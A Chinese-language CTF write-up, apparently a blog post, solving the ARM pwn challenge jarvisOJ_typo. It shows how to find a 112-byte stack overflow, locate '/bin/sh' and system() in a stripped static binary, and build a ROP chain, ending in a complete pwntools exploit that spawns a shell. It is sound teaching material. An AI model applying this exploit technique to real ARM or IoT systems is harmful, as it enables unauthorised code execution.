一、前言
最近做了一道ARM架构的PWN题,给我带来很多的思考。为什么要做ARM的呢?因为在很久之前就提及过想要向IoT漏洞挖掘方面进行延展,并且有过一段时间去复现一些路由器的漏洞,但是感觉基础并不是很扎实。所以这段时间潜心学习ARM寄存器及指令集,并且通过接下来的这道ARM PWN题进行实践与摸索,文章的末尾也会列出通过这道题带来的一些感悟
希望我们都能找到自己的方向,按照计划不断前行。编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ
往期回顾:
ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建
好好说话之House Of Einherjar
(补题)HITCON 2018 PWN baby_tcache超详细讲解
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
(补题)LCTF2018 PWN easy_heap超详细讲解
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink
…
文章目录
二、jarvisOJ_typo
上一篇文章ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建介绍了新环境的搭建,如果你没有有ARM结构的相关交叉编译环境或者动态链接库的话,可以点击蓝色文字先安装一下环境
题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo
2.1 检查一下程序
首先我们使用file
命令查看一下这个程序:
通过显示出来的信息,我们可以看到这是一个32位ARM机构的ELF文件,并且程序本身在编译阶段采用了静态链接。通过上述信息我们将会有以下几个反映:
- 需要使用qemu-arm来启动程序,并且由于是静态链接,所以在调试过程中不需要加-L参数来链接.so文件
- 由于程序本身是静态链接,所以如果我们想要去找一些函数(system()函数)或者字符串(比如/binsh)都可以在程序中搜索到
接下来我们使用checksec检查一下程序开启的各项保护(下方check命令是我checksec的自定义命令别名)
可以看到程序只开启了NX保护
2.2 运行程序看看
接下来我们使用qemu运行一下这个程序,使用qemu-arm typo
我们一起来看一下这个程序的执行流程,首先运行之后会提示我们输入回车后开始执行程序流程,在输入回车后会等待我们输入数据。接下来我们第一次输入数据hollk_first_input
,显示错误”E.r.r.o.r“,接下来等待输入数据。接下来我们第二次输入数据-1
结果依然还是显示错误并且需要重新输入,第三次输入数据%p%p%p...%p
回显情况相同
那么通过第一次尝试程序的执行过程,我们可知:
- 程序具有两个主要的输入点:第一处为进入程序后需要输入的回车,第二处为主流程中输入数据
- 尝试输入不同数据后依然显示error,说明程序本身对输入的数据进行了某种校验,或者根本就没有校验,无论输入什么都显示error
- 并没有发现其他类似堆管理器创建、释放等操作,所以暂时排除堆溢出的可能
- 在第二次输入数据时输入数值”-1“,回显情况与输入字符串一样,所以暂时排除整数溢出
- 第三次输入数据
%p%p%p...%p
回显情况相同,所以暂时排除格式化字符串漏洞
2.2.1 凭什么只能输入回车?我就不!
通过前面运行程序我们大致确定这是一个栈溢出的程序,那么就针对逐个输入点进行排查,首先是第一个输入回车的部分。这里其实不仅仅只能输入一个回车,还可以输入其他的数据,下面我们尝试输入一堆没有用的字符:
当我们输入数据this_is_not_an_instruction
后,程序直接退出,并且回显his_is_not_an_instruction:未找到命令
,在Linux下出现这种报错回显的情况,一般是输入了一个不合法的指令后出现的。这表明我们输入的我们输入的数据会被当做命令执行,而且可以看到输入的命令其实会被吃掉第一个文字,所以接下来我们用wwhoami
去验证一下我们的猜测:
可以看到我们猜测的执行效果是没有问题的,那么从这里我们第一时间应该想到的是此程序一定会有执行system("/bin/sh")的流程,那么通过一会的静态分析阶段我们可以大胆的去找这两个关键点
2.2.2 尝试输入过长字符串判断溢出点
接下来我们对第二处输入点进行测试,使用cyclic创建200个字节的字符串,在第二处输入点进行输入:
可以看到在第二处输入点输入200个字节的数据后,程序发生了核心转储,这意味着我们输入的数据造成了溢出,导致程序跳转(ARM为跳转、x86为返回)至一个不合法的地址,这导致了程序的崩溃。那么接下来我们通过qemu配合gdb-multiarch计算一下这个溢出点的缓冲区长度。首先使用下面的命令启动程序并等待gdb-multiarch链接调试:(当前qemu启动窗口后称窗口1)
qemu-arm -g 1212 typo
# -g参数指定gdb链接端口,因为是静态链接,所以不需要-L参数指定动态链接库
接下来我们重新开启一个窗口使用下列命令链接:(当前gdb-multiarch窗口后称窗口2)
gdb-multiarch #启动gdb-multiarch
pwndbg> set arch arm #设置程序架构为arm架构
pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口
接下来在gdb中输入命令c,继续执行程序。可以看到窗口1继续执行程序流程,我们在第二处输入由cyclic创建的200个字节的字符:
回车后返回至窗口2查看溢出情况:
可以看到程序PC指针指向0x62616164
导致系统崩溃,使用命令cyclic -l 0x62616164
计算出缓冲区大小:
可看到计算出缓冲区长度为112
2.3 静态分析
接下来我们静态分析一下这个程序:
可以看到由于无法加载符号表,所以加载的函数除了start外其他均不显示函数名,左侧函数表内显示600多个sub函数,如果我们一个一个函数去找的话是一件很浪费时间的事情。所以需要仔细想一想我们想要找的是什么,如何才能快速精确定位:
- 首先我们现在已经计算出了缓冲区长度112
- 其次该程序为静态链接,所以在字符串表中可以找到”/bin/sh“字符串的地址,这就是我们要找的第一个点
- 我们知道程序本身是有执行指令的功能,所以程序内一定存在system()函数或者execve()函数,那找到执行函数就是第二个点
2.3.1 寻找/bin/sh字符串
在ida中使用shift + F12
查看字符串表,可在其中发现”/bin/sh“字符串
接下来双击该处,可以看到该字符串地址:0x6c384
2.3.2 寻找system()函数
接下来我们按x
对aBinSh进行交叉搜索:
可看到在sub_10BA8()函数中引用了”/bin/sh“字符串,双击进入后通过对代码的解读,可发现该函数类似do_system()函数
system()函数在执行时会调用do_system()函数进行操作,那么我们按x交叉搜索sub_10BA8()函数,可以检索到sub_110B4()函数
我们将sub_110B4()函数与system()函数进行比较:
通过程序的执行流程可发现,sub_110B4()函数即为system()函数。因此我们可以得到system()函数地址为0x110B4
2.4 寻找gadget
现在我们搜集到的信息如下:
- 缓冲区长度:112
- system()函数地址:0x110B4
- /bin/sh字符串地址:0x6c384
我们最后需要的就是寻找一段gadget,将/bin/sh字符串地址作为system()函数的参数部署在r0寄存器中。这里我们使用ROPgadget,寻找可以使用的gadget:
可以看到只找到了一条可用的gadge:0x20904
,其中还想r4寄存器pop数据,所以在构造payload的时候需要有一个四字节的内容供r4使用
2.5 payload构造
payload构造如下:
payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)
栈中部署情况:
2.6 EXP
1 from pwn import *
2 import time
3 context.arch="arm"
4 context.log_level="debug"
5
6 overlength = 112
7 binsh = 0x0006c384
8 pop_r0_r4_pc = 0x00020904
9 system = 0x000110B4
10
11 p = process(["qemu-arm","./typo"])
12 payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)
13
14 p.recvuntil("quit\n")
15 p.send("\n")
16
17 p.recvuntil("\n")
18 p.sendline(payload)
19
20 p.interactive()
三、总结
通过这道PWN题,有几个点是值得我记录反思的:
3.1 一定要死磕ida吗?
按照以前做x86程序的时候,我们拿到一个程序后可能在检查过文件属性和保护机制后,直接就扔进ida进行静态分析了。这是因为以前做的题工程量并不是很大,并且由于是CTF例题的原因,大部分程序的函数量较少且标明函数名称,因此我们直接去进行静态分析完全OK
但是通过这道题,我们发现相当之多的函数量,并且没有函数名称。这个时候我们就可以转战去运行程序,通过正常的程序交互来初步确定一些可能出现问题的点
3.2 函数源码一定要多看
其次让我印象比较深刻的就是寻找system()函数的过程,虽然我们是从/bin/sh字符串来找到的system()函数,但是这只是运气好而已,最终我们确定sub_110B4()为system()函数,是由于对代码的解读。所以一些敏感函数如:system()函数、execve()函数、popen()函数、strcpy()函数等函数源码还是需要深入的了解一下